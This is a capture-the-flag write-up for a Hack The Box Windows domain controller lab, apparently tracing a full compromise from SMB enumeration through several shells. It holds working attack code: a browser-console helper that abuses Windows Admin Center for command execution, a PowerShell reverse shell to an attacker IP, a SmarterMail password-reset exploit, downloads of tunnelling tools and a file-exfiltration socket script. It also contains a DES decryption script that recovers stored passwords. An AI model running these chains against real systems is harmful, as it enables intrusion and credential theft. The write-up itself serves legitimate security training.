Nmap
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ nmap -sC -sV -Pn 10.129.2.32 -oN ./nmap.txt
Starting Nmap 7.99 ( https://nmap.org ) at 2026-08-10 16:12 +0000
Nmap scan report for 10.129.2.32
Host is up (0.43s latency).
Not shown: 986 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
| http-methods:
|_ Potentially risky methods: TRACE
|_http-title: IIS Windows Server
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2026-08-10 13:24:33Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after: 2106-08-03T16:32:53
443/tcp open ssl/https?
| tls-alpn:
| h2
|_ http/1.1
| ssl-cert: Subject: commonName=danglingtree-DC-CA
| Not valid before: 2026-03-26T05:34:19
|_Not valid after: 2114-03-26T05:44:18
|_ssl-date: TLS randomness does not represent time
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after: 2106-08-03T16:32:53
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after: 2106-08-03T16:32:53
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: danglingtree.htb, Site: Default-First-Site-Name)
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject:
| Subject Alternative Name: DNS:dc.danglingtree.htb, DNS:danglingtree.htb, DNS:DANGLINGTREE
| Not valid before: 2026-08-03T16:32:53
|_Not valid after: 2106-08-03T16:32:53
3389/tcp open ms-wbt-server
| ssl-cert: Subject: commonName=dc.danglingtree.htb
| Not valid before: 2026-03-25T05:48:29
|_Not valid after: 2026-09-24T05:48:29
|_ssl-date: TLS randomness does not represent time
| rdp-ntlm-info:
| Target_Name: DANGLINGTREE
| NetBIOS_Domain_Name: DANGLINGTREE
| NetBIOS_Computer_Name: DC
| DNS_Domain_Name: danglingtree.htb
| DNS_Computer_Name: dc.danglingtree.htb
| DNS_Tree_Name: danglingtree.htb
| Product_Version: 10.0.26100
|_ System_Time: 2026-08-10T13:25:48+00:00
6600/tcp open ssl/mshvlm? syn-ack
| fingerprint-strings:
| GetRequest:
| HTTP/1.1 403 Forbidden
| Connection: close
| Date: Sun, 09 Aug 2026 09:08:45 GMT
| Cache-Control: no-store
| Cache-Control: max-age=0
| Pragma: no-cache
| Set-Cookie: .AspNetCore.Antiforgery.7Eyhia2WOxE=CfDJ8HsozULo80ZBsxvkNAKguonDo_WO5NrSjlwXYhbIsWFeqMqXzFUPC9W_2wNEZ81j52wuij8rKTAUPb7-eQdcUooiJbhi7ayNHz-aed-CEzizdLpgZ-bnV-uQubKs9_PdVkqpd5w5j_DmEaNGLqXcI6I; path=/; secure; samesite=none; Partitioned
| Set-Cookie: WAC-SESSION=bca2a77adc9e46269f7bfc557da7793b; expires=Mon, 10 Aug 2026 09:08:45 GMT; path=/; secure; samesite=lax; httponly
| Set-Cookie: WAC-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Set-Cookie: WAC-AAD=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Set-Cookie: XSRF-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Strict-Transport-Security: max-age=5184000; includeSubDomains; preload
| <!DOCTYPE html>
| <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
| <head
| HTTPOptions:
| HTTP/1.1 403 Forbidden
| Connection: close
| Date: Sun, 09 Aug 2026 09:08:47 GMT
| Cache-Control: no-store
| Cache-Control: max-age=0
| Pragma: no-cache
| Set-Cookie: .AspNetCore.Antiforgery.7Eyhia2WOxE=CfDJ8HsozULo80ZBsxvkNAKguomebl7tmwuvyJPUkJ_vfHA5r9rhxjSD0cgjAQb3PRV20ci_av6Se_fQT71i5cyDPBWvgV1Gs0WwplYkrbfSJgR1CCTDffjPAdQzv4zstWrZ0RRfCKD9V2mGZtuhX_3aUGc; path=/; secure; samesite=none; Partitioned
| Set-Cookie: WAC-SESSION=cdb0b36e468d43f691ea1660f7d7498c; expires=Mon, 10 Aug 2026 09:08:48 GMT; path=/; secure; samesite=lax; httponly
| Set-Cookie: WAC-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Set-Cookie: WAC-AAD=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Set-Cookie: XSRF-TOKEN=; expires=Thu, 01 Jan 1970 00:00:00 GMT; path=/
| Strict-Transport-Security: max-age=5184000; includeSubDomains; preload
| <!DOCTYPE html>
| <html lang="en" xmlns="http://www.w3.org/1999/xhtml">
|_ <head
| ssl-cert: Subject: commonName=dc.danglingtree.htb
| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:<unsupported>, DNS:dc.danglingtree.htb
| Issuer: commonName=danglingtree-DC-CA/domainComponent=danglingtree
|_ http/1.1
9389/tcp open mc-nmf syn-ack .NET Message Framing
49664/tcp open msrpc syn-ack Microsoft Windows RPC
49675/tcp open msrpc syn-ack Microsoft Windows RPC
49677/tcp open msrpc syn-ack Microsoft Windows RPC
49681/tcp open msrpc syn-ack Microsoft Windows RPC
49682/tcp open ncacn_http syn-ack Microsoft Windows RPC over HTTP 1.0
49689/tcp open msrpc syn-ack Microsoft Windows RPC
49707/tcp open msrpc syn-ack Microsoft Windows RPC
49712/tcp open msrpc syn-ack Microsoft Windows RPC
49744/tcp open msrpc syn-ack Microsoft Windows RPC
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3389-TCP:V=7.99%I=7%D=8/10%Time=6A79F881%P=aarch64-unknown-linux-gn
SF:u%r(TerminalServerCookie,13,"\x03\0\0\x13\x0e\xd0\0\0\x124\0\x02\?\x08\
SF:0\x02\0\0\0");
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: -2h48m04s, deviation: 0s, median: -2h48m05s
| smb2-time:
| date: 2026-08-10T13:25:50
|_ start_date: N/A
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 137.60 seconds
The domain name is dc.danglingtree.htb
Let's add hosts
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ nxc smb 10.129.2.32 --generate-hosts-file ./h
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ cat ./h | sudo tee -a /etc/hosts
[sudo] password for wither:
10.129.2.32 DC.danglingtree.htb danglingtree.htb DC
Information Gathering
I would start with smb services
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u guest -p ''
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\guest:
The guest account is available, let's continue to enumerate the valid smb shares
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u guest -p '' --shares
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\guest:
SMB 10.129.2.32 445 DC [*] Enumerated shares
SMB 10.129.2.32 445 DC Share Permissions Remark
SMB 10.129.2.32 445 DC ----- ----------- ------
SMB 10.129.2.32 445 DC ADMIN$ Remote Admin
SMB 10.129.2.32 445 DC C$ Default share
SMB 10.129.2.32 445 DC IPC$ READ Remote IPC
SMB 10.129.2.32 445 DC IT READ
SMB 10.129.2.32 445 DC NETLOGON Logon server share
SMB 10.129.2.32 445 DC SYSVOL Logon server share
The share ITseems interesting for us
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ smbclient //danglingtree.htb/IT -N
Try "help" to get a list of possible commands.
smb: \> dir
. D 0 Sun Apr 5 01:05:09 2026
.. D 0 Sun Apr 5 00:57:30 2026
Security D 0 Sun Apr 5 01:05:20 2026
c
7062015 blocks of size 4096. 2245722 blocks available
smb: \> cd Security\
smb: \Security\> dir
. D 0 Sun Apr 5 01:05:20 2026
.. D 0 Sun Apr 5 01:05:09 2026
DanglingTree_RoE_Assessment.pdf A 28905 Sat Apr 4 15:50:23 2026
7062015 blocks of size 4096. 2245670 blocks available
smb: \Security\> get DanglingTree_RoE_Assessment.pdf
getting file \Security\DanglingTree_RoE_Assessment.pdf of size 28905 as DanglingTree_RoE_Assessment.pdf (11.8 KiloBytes/sec) (average 11.8 KiloBytes/sec)
There is a pdf file for us, let's check what is inside

We can find a credential from the file anderson.w:R3dT3am@Acc3ss#01
Let's verify this account
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u anderson.w -p 'R3dT3am@Acc3ss#01'
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\anderson.w:R3dT3am@Acc3ss#01
Continue to enumerate the user list and valid shares
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u anderson.w -p 'R3dT3am@Acc3ss#01' --shares
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\anderson.w:R3dT3am@Acc3ss#01
SMB 10.129.2.32 445 DC [*] Enumerated shares
SMB 10.129.2.32 445 DC Share Permissions Remark
SMB 10.129.2.32 445 DC ----- ----------- ------
SMB 10.129.2.32 445 DC ADMIN$ Remote Admin
SMB 10.129.2.32 445 DC C$ Default share
SMB 10.129.2.32 445 DC IPC$ READ Remote IPC
SMB 10.129.2.32 445 DC IT
SMB 10.129.2.32 445 DC NETLOGON READ Logon server share
SMB 10.129.2.32 445 DC SYSVOL READ Logon server share
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u anderson.w -p 'R3dT3am@Acc3ss#01' --users
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\anderson.w:R3dT3am@Acc3ss#01
SMB 10.129.2.32 445 DC -Username- -Last PW Set- -BadPW- -Description-
SMB 10.129.2.32 445 DC anderson.w 2026-04-05 00:00:40 0
SMB 10.129.2.32 445 DC [*] Enumerated 1 local users: DANGLINGTREE
Nothing useful here for us, I would try rid-force to get the user lists
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ netexec smb danglingtree.htb -u anderson.w -p 'R3dT3am@Acc3ss#01' --rid-brute 3000
SMB 10.129.2.32 445 DC [*] Windows 11 / Server 2025 Build 26100 x64 (name:DC) (domain:danglingtree.htb) (signing:True) (SMBv1:False) (Null Auth:True) (DC:True)
SMB 10.129.2.32 445 DC [+] danglingtree.htb\anderson.w:R3dT3am@Acc3ss#01
SMB 10.129.2.32 445 DC 498: DANGLINGTREE\Enterprise Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.2.32 445 DC 500: DANGLINGTREE\Administrator (SidTypeUser)
SMB 10.129.2.32 445 DC 501: DANGLINGTREE\Guest (SidTypeUser)
SMB 10.129.2.32 445 DC 502: DANGLINGTREE\krbtgt (SidTypeUser)
SMB 10.129.2.32 445 DC 512: DANGLINGTREE\Domain Admins (SidTypeGroup)
SMB 10.129.2.32 445 DC 513: DANGLINGTREE\Domain Users (SidTypeGroup)
SMB 10.129.2.32 445 DC 514: DANGLINGTREE\Domain Guests (SidTypeGroup)
SMB 10.129.2.32 445 DC 515: DANGLINGTREE\Domain Computers (SidTypeGroup)
SMB 10.129.2.32 445 DC 516: DANGLINGTREE\Domain Controllers (SidTypeGroup)
SMB 10.129.2.32 445 DC 517: DANGLINGTREE\Cert Publishers (SidTypeAlias)
SMB 10.129.2.32 445 DC 518: DANGLINGTREE\Schema Admins (SidTypeGroup)
SMB 10.129.2.32 445 DC 519: DANGLINGTREE\Enterprise Admins (SidTypeGroup)
SMB 10.129.2.32 445 DC 520: DANGLINGTREE\Group Policy Creator Owners (SidTypeGroup)
SMB 10.129.2.32 445 DC 521: DANGLINGTREE\Read-only Domain Controllers (SidTypeGroup)
SMB 10.129.2.32 445 DC 522: DANGLINGTREE\Cloneable Domain Controllers (SidTypeGroup)
SMB 10.129.2.32 445 DC 525: DANGLINGTREE\Protected Users (SidTypeGroup)
SMB 10.129.2.32 445 DC 526: DANGLINGTREE\Key Admins (SidTypeGroup)
SMB 10.129.2.32 445 DC 527: DANGLINGTREE\Enterprise Key Admins (SidTypeGroup)
SMB 10.129.2.32 445 DC 528: DANGLINGTREE\Forest Trust Accounts (SidTypeGroup)
SMB 10.129.2.32 445 DC 529: DANGLINGTREE\External Trust Accounts (SidTypeGroup)
SMB 10.129.2.32 445 DC 553: DANGLINGTREE\RAS and IAS Servers (SidTypeAlias)
SMB 10.129.2.32 445 DC 571: DANGLINGTREE\Allowed RODC Password Replication Group (SidTypeAlias)
SMB 10.129.2.32 445 DC 572: DANGLINGTREE\Denied RODC Password Replication Group (SidTypeAlias)
SMB 10.129.2.32 445 DC 1000: DANGLINGTREE\DC$ (SidTypeUser)
SMB 10.129.2.32 445 DC 1101: DANGLINGTREE\DnsAdmins (SidTypeAlias)
SMB 10.129.2.32 445 DC 1102: DANGLINGTREE\DnsUpdateProxy (SidTypeGroup)
SMB 10.129.2.32 445 DC 1103: DANGLINGTREE\jake.h (SidTypeUser)
SMB 10.129.2.32 445 DC 1105: DANGLINGTREE\Cert_Managers (SidTypeGroup)
SMB 10.129.2.32 445 DC 1106: DANGLINGTREE\Helpdesk_Cert_Support (SidTypeGroup)
SMB 10.129.2.32 445 DC 1107: DANGLINGTREE\Template_Editors (SidTypeGroup)
SMB 10.129.2.32 445 DC 1108: DANGLINGTREE\DevOps_PKI (SidTypeGroup)
SMB 10.129.2.32 445 DC 1109: DANGLINGTREE\Windows Admin Center CredSSP (SidTypeAlias)
SMB 10.129.2.32 445 DC 1110: DANGLINGTREE\svc_mail (SidTypeUser)
SMB 10.129.2.32 445 DC 1602: DANGLINGTREE\noah.b (SidTypeUser)
SMB 10.129.2.32 445 DC 1603: DANGLINGTREE\support-it (SidTypeGroup)
SMB 10.129.2.32 445 DC 1604: DANGLINGTREE\alex.o (SidTypeUser)
SMB 10.129.2.32 445 DC 2601: DANGLINGTREE\anderson.w (SidTypeUser)
HTTPS - TCP 6600
There is another web service from port 6600

We can try to login with our potential credit anderson.w:R3dT3am@Acc3ss#01
Then we will be redirected to the dashboard
Also I have tried to connect to the machine, but it not worked

Continue to check the version of windows admin center

By simply searching about this version, we can find our target here
CVE-2026-26119
Improper authentication in Windows Admin Center allows an authorized attacker to elevate privileges over a network.
There is article explaining the detail of this CVE
https://www.semperis.com/blog/what-you-need-to-know-windows-admin-center-remote-privilege-escalation-cve-2026-26119/
Although the version on the target machine has been fixed, it teaches us how to use the invokeCommand API as the current user context.
The target system identifies the data center (dc) as its gateway and exposes PowerShell-based management scripts through this interface. Therefore, the identity trusted by this gateway constitutes a critical security perimeter.
The PowerShell endpoint is the final execution primitive, not the vulnerability itself. A normal WAC session will run commands as its authenticated user; the vulnerable chain of calls causes WAC to instead trust the gateway's computer account.
The WAC application itself actually provides an RCE entry point directly. The path is as follows:
/api/services/WinREST/PowerShell/nodes/<node>/invokeCommand
The application stores its authentication state in a WAC-SESSION, and each request requires a matching XSRF-TOKEN.
The request also required the shell module name and version. These are component values, not the Windows Admin Center product build, and the authenticated runtime exposes them directly.
We can retrieve these via JavaScript.
({
name: MsftSme.self().Environment.name,
version: MsftSme.self().Environment.version
});
We defined a helper that reuses authenticated cookies and provides these module headers to the browser console:
async function invokeWac(script) {
const match = document.cookie.match(/(?:^|; )XSRF-TOKEN=([^;]+)/);
if (!match) throw new Error("XSRF-TOKEN was not present");
const response = await fetch(
"/api/services/WinREST/PowerShell/nodes/dc/invokeCommand",
{
method: "POST",
credentials: "same-origin",
headers: {
"Content-Type": "application/json; charset=UTF-8",
"X-Xsrf-Token": decodeURIComponent(match[1]),
"X-Ms-Sme-Module-Name": "msft.sme.shell",
"X-Ms-Sme-Module-Version": "6.8.9"
},
body: JSON.stringify({
properties: {
script,
command: "Get-WACSMServerConnectionStatus",
module: "Microsoft.SME.ServerManager",
state: "ready",
useInProcRunspace: false,
invokeMode: "Polling"
}
})
}
);
const result = await response.json();
if (!response.ok) throw new Error(JSON.stringify(result));
return result;
}
Let's try triggering it.
const poc = await invokeWac("whoami; hostname; (Get-Location).Path");
({
completed: poc.completed,
results: poc.results,
errors: poc.errors,
statusCode: poc.statusCode
});
We can see that RCE was indeed successfully triggered here.
Now we can try to handle a reverse shell here
const callbackHost = "10.10.14.128"; // attacker ip
const callbackPort = 4444;
const reverseShell = `
$client = New-Object System.Net.Sockets.TCPClient('${callbackHost}', ${callbackPort});
$stream = $client.GetStream();
[byte[]]$bytes = 0..65535 | ForEach-Object { 0 };
while (($count = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$command = (New-Object Text.ASCIIEncoding).GetString($bytes, 0, $count);
$output = Invoke-Expression $command 2>&1 | Out-String;
$prompt = $output + 'PS ' + (Get-Location).Path + '> ';
$send = [Text.Encoding]::ASCII.GetBytes($prompt);
$stream.Write($send, 0, $send.Length);
$stream.Flush();
}
$client.Close();
`;
await invokeWac(reverseShell);
Then you can get the shell as anderson.w
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ nc -lvnp 4444
listening on [any] 4444 ...
connect to [10.10.14.128] from (UNKNOWN) [10.129.2.79] 54955
PS C:\Users\anderson.w\Documents> whoami
danglingtree\anderson.w
SmarterMail
Let's check the port usage
PS C:\Users\anderson.w\Documents> netstat
Active Connections
TCP 127.0.0.1:25 0.0.0.0:0 LISTENING 7060
TCP 127.0.0.1:53 0.0.0.0:0 LISTENING 3660
TCP 127.0.0.1:110 0.0.0.0:0 LISTENING 7060
TCP 127.0.0.1:143 0.0.0.0:0 LISTENING 7060
TCP 127.0.0.1:587 0.0.0.0:0 LISTENING 7060
TCP 127.0.0.1:5222 0.0.0.0:0 LISTENING 7060
TCP 0.0.0.0:17017 0.0.0.0:0 LISTENING 7060
SMTP(25), POP3(110), IMAP(143), SMTP Submission(587), and XMPP(5222) all point to the same PID 7060, indicating that this is a locally running email and instant messaging integrated server program.
I will try to upload chisel to help us tunneling
(New-Object Net.WebClient).DownloadFile('http://10.10.14.128/chisel.exe', 'C:\Windows\Temp\chisel.exe')
# attacker machine
┌──(wither㉿localhost)-[/opt/chisel]
└─$ chisel server --reverse --port 8000
# target machine
C:\Windows\Temp\chisel.exe client 10.10.14.128:8000 R:17017:127.0.0.1:17017
Now let's check this web service from browser

CVE-2026-23760 affects the SmarterMail system administrator password reset process.
In the previous rid-force analysis, we discovered a potential user, svc_mail, who is highly likely to be the email system administrator.
We assigned a known password to svc_mail via the anonymous force-reset-password endpoint:
┌──(wither㉿localhost)-[/opt/chisel]
└─$ curl -s http://127.0.0.1:17017/api/v1/auth/force-reset-password \
-H 'Content-Type: application/json' \
--data '{
"IsSysAdmin": true,
"OldPassword": "unused",
"Username": "svc_mail",
"NewPassword": "Wither123!",
"ConfirmPassword": "Wither123!"
}'
{"username":"","errorCode":"","errorData":"","debugInfo":"check1\r\ncheck2\r\ncheck3\r\ncheck4.2\r\ncheck5.2\r\ncheck6.2\r\ncheck7.2\r\ncheck8.2\r\n","success":true,"resultCode":200}
Now let's login with this credit and access to dashboard

Also we can get the version

Continue to follow this poc
https://github.com/MaxMnMl/smartermail-CVE-2026-23760-poc
First, we pre-started a listener. Then, in the SmarterMail user interface, we opened Settings → Volume Mounts and created a volume.

Mount Path: C:\Windows\Temp\mailmount
Volume Mount Command: The PowerShell command we want to execute
Then press save and you can get the shell as svc_mail
┌──(wither㉿localhost)-[/opt/chisel]
└─$ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.128] from (UNKNOWN) [10.129.2.79] 55148
whoami
danglingtree\svc_mail
SmarterMail's domain documentation specifies C:\SmarterMail\Domains as the default domain data directory.
A backup file also exists here.
PS C:\SmarterMail\Domains> dir
Directory: C:\SmarterMail\Domains
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 8/10/2026 8:24 AM danglingtree.htb
d----- 3/26/2026 2:19 PM danglingtree.htb.bak
PS C:\SmarterMail\Domains> dir danglingtree.htb.bak
Directory: C:\SmarterMail\Domains\danglingtree.htb.bak
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/26/2026 2:19 PM Archived Data
d----- 3/26/2026 2:19 PM Users
-a---- 3/26/2026 2:19 PM 1116 accounts.json
-a---- 3/26/2026 2:19 PM 1233 activity.sbin
-a---- 3/26/2026 2:19 PM 1380 folders.json
-a---- 3/26/2026 2:19 PM 3143 gal.json
-a---- 3/26/2026 2:19 PM 136 ids.json
-a---- 3/26/2026 1:59 PM 7887 settings.json
We can see from the Users directory that there is a new user.
PS C:\Users> dir
Directory: C:\Users
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/25/2026 10:40 PM .NET v4.5
d----- 3/25/2026 10:40 PM .NET v4.5 Classic
d----- 3/25/2026 10:19 PM Administrator
d----- 8/10/2026 7:29 AM anderson.w
d----- 3/26/2026 2:23 PM noah.b
d-r--- 3/25/2026 10:19 PM Public
d----- 3/27/2026 5:53 PM svc_mail
noah.bwould be our next target here.
PS C:\SmarterMail\Domains\danglingtree.htb.bak\Users\noah.b> dir
Directory: C:\SmarterMail\Domains\danglingtree.htb.bak\Users\noah.b
Mode LastWriteTime Length Name
---- ------------- ------ ----
d----- 3/26/2026 2:19 PM FileStore
d----- 3/26/2026 2:19 PM Mail
-a---- 3/26/2026 2:20 PM 13 acquaintances.sbin
-a---- 3/26/2026 2:19 PM 5201 folders.json
-a---- 3/26/2026 2:19 PM 7529 settings.json
We parsed the encrypted password field from Noah's configuration:
password_encrypted":"66e7ppLOBF7UdzDv7zK6MJ1rmyUb1Cby","password_expiration_last_notification":-1,"internet_calendars":[],"password_last_change_utc":"2026-03-26T21:19:49.1311428Z"
The service catalog contains a large SmarterMail implementation assembly, which we can try to download and then crack its encryption method.
PS C:\SmarterMail\Domains\danglingtree.htb.bak\Users\noah.b> Get-Item 'C:\Program Files (x86)\SmarterTools\SmarterMail\Service\SmarterMail.Standard.dll'
Directory: C:\Program Files (x86)\SmarterTools\SmarterMail\Service
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a---- 1/8/2026 2:27 PM 36341248 SmarterMail.Standard.dll
We start a receiver from the attacker machine
nc -lnvp 60001 > SmarterMail.Standard.dll
Send the file to the receiver from the target machine
$path = 'C:\Program Files (x86)\SmarterTools\SmarterMail\Service\SmarterMail.Standard.dll'
$bytes = [IO.File]::ReadAllBytes($path)
$client = New-Object Net.Sockets.TcpClient('10.10.13.68', 60608)
$stream = $client.GetStream()
$stream.Write($bytes, 0, $bytes.Length)
$stream.Close()
$client.Close()
We opened the assembly file using dnSpy and searched for the keywords "password" or "crypto". CryptographyHelper matched CryptographyHelper content:
public CryptographyHelper(int methodIn)
{
this.Method = methodIn;
this.Coder = ((this.Method == 0) ? DES.Create() : RC2.Create());
}
private void InternalSetKey(string key, byte[] salt = null)
{
if (this.Method == 0 && salt == null && key == "@7d5fd09%a842^e83e!dc9f6")
{
this.Key = this.keymap1.Item1;
this.IV = this.keymap1.Item2;
return;
}
if (this.Method == 0 && salt == null && key == "a3oij89FF!apoife")
{
this.Key = this.keymap2.Item1;
this.IV = this.keymap2.Item2;
return;
}
}
public string DecodeFromBase64(string val)
{
byte[] buf = Convert.FromBase64String(val);
byte[] bytes = this.Decode(buf);
return Encoding.UTF8.GetString(bytes);
}
public byte[] Decode(byte[] buf)
{
using (ICryptoTransform transform = this.Coder.CreateDecryptor(this.Key, this.IV))
{
return this.PassThrough(buf, transform);
}
}
private readonly ValueTuple<byte[], byte[]> keymap1 =
new ValueTuple<byte[], byte[]>(
new byte[] { 125, 113, 232, 233, 160, 34, 123, 208 },
new byte[] { 224, 222, 8, 14, 29, 138, 139, 223 }
);
private readonly ValueTuple<byte[], byte[]> keymap2 =
new ValueTuple<byte[], byte[]>(
new byte[] { 180, 63, 132, 209, 16, 180, 233, 145 },
new byte[] { 1, 216, 174, 230, 73, 173, 146, 39 }
);
Test these two password pairs using PyCryptodome:
from base64 import b64decode
from Crypto.Cipher import DES
from Crypto.Util.Padding import unpad
ciphertext = b64decode("66e7ppLOBF7UdzDv7zK6MJ1rmyUb1Cby")
keymaps = {
"keymap1": (
bytes([125, 113, 232, 233, 160, 34, 123, 208]),
bytes([224, 222, 8, 14, 29, 138, 139, 223]),
),
"keymap2": (
bytes([180, 63, 132, 209, 16, 180, 233, 145]),
bytes([1, 216, 174, 230, 73, 173, 146, 39]),
),
}
for name, (key, iv) in keymaps.items():
try:
plaintext = unpad(DES.new(key, DES.MODE_CBC, iv).decrypt(ciphertext), 8)
print(f"{name}: {plaintext.decode()}")
except (ValueError, UnicodeDecodeError):
pass
Now we get the cracked password
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ python3 crack.py
keymap2: RiverDragon#Storm25
Since the target does not have a WinRM port open (e.g., 5985), we used Noah's credentials to run RunasCs from the svc_mail shell.
(New-Object Net.WebClient).DownloadFile('http://10.10.14.128/RunasCs.exe', 'C:\Windows\Temp\RunasCs.exe')
C:\Windows\Temp\RunasCs.exe noah.b 'RiverDragon#Storm25' cmd.exe -r 10.10.14.128:6666
Now we can get the shell as noah.b
┌──(wither㉿localhost)-[~/Templates/htb-labs/Medium/DanglingTree]
└─$ nc -lvnp 6666
listening on [any] 6666 ...
connect to [10.10.14.128] from (UNKNOWN) [10.129.2.79] 55225
Microsoft Windows [Version 10.0.26100.33158]
(c) Microsoft Corporation. All rights reserved.
C:\Windows\System32>whoami
whoami
danglingtree\noah.b
Bloodhound by noah.b
I would prefer use rusthound-ceto help us collect the data
sudo ntpdate -u danglingtree.htb
rusthound-ce \
-d danglingtree.htb \
-u 'noah.b@danglingtree.htb' \
-p 'RiverDragon#Storm25' \
-f DC.danglingtree.htb \
-i 10.129.2.79 \
-n 10.129.2.79 \
--dns-tcp --ldaps \
-c All \
-z
This demonstrates Noah's valid certificate registration scope. His Domain Users membership grants him permission to register four certificate templates, while Authenticated Users can register certificates with enterprise CAs:

This expands on the Noah inheritance group relationships, including Certificate Service and DCOM Access.

The third image points to GPO {6AC1786C-016F-11D2-945F-00C04FB984F9}, which is the fixed GUID set by Microsoft for the default domain controller policy, and shows the AddKeyCredentialLink relationship from the Privileged Key Management group:
Noah has no way to access these groups and does not have write permissions to the GPO, therefore this branch does not provide an upgrade path.
Switch to alex.o
Now that we have control of noah, let's see if he's stored anything interesting.
Microsoft's cmdkey utility will list the currently stored credentials:
C:\Users>cmdkey /list
cmdkey /list
Currently stored credentials:
Target: Domain:target=PC01.danglingtree.htb
Type: Domain Password
User: alex.o
alex.oseems interesting here.Even though he didn't reveal the password, we were still able to find Noah's credentials and master key file.
PS C:\Users> Get-ChildItem "$env:APPDATA\Microsoft\Credentials" -Force
Directory: C:\Users\noah.b\AppData\Roaming\Microsoft\Credentials
Mode LastWriteTime Length Name
---- ------------- ------ ----
-a-hs- 3/27/2026 3:03 PM 490 57FFB67D684C67F09E7153B9C7CC3940
PS C:\Users> Get-ChildItem "$env:APPDATA\Microsoft\Protect" -Recurse -Force
Directory: C:\Users\noah.b\AppData\Roaming\Microsoft\Protect
Mode LastWriteTime Length Name
---- ------------- ------ ----
d---s- 3/26/2026 2:23 PM S-1-5-21-4220238332-57023728-1129110646-1602
-a-hs- 3/26/2026 2:23 PM 24 CREDHIST
-a-hs- 3/26/2026 2:23 PM 76 SYNCHIST
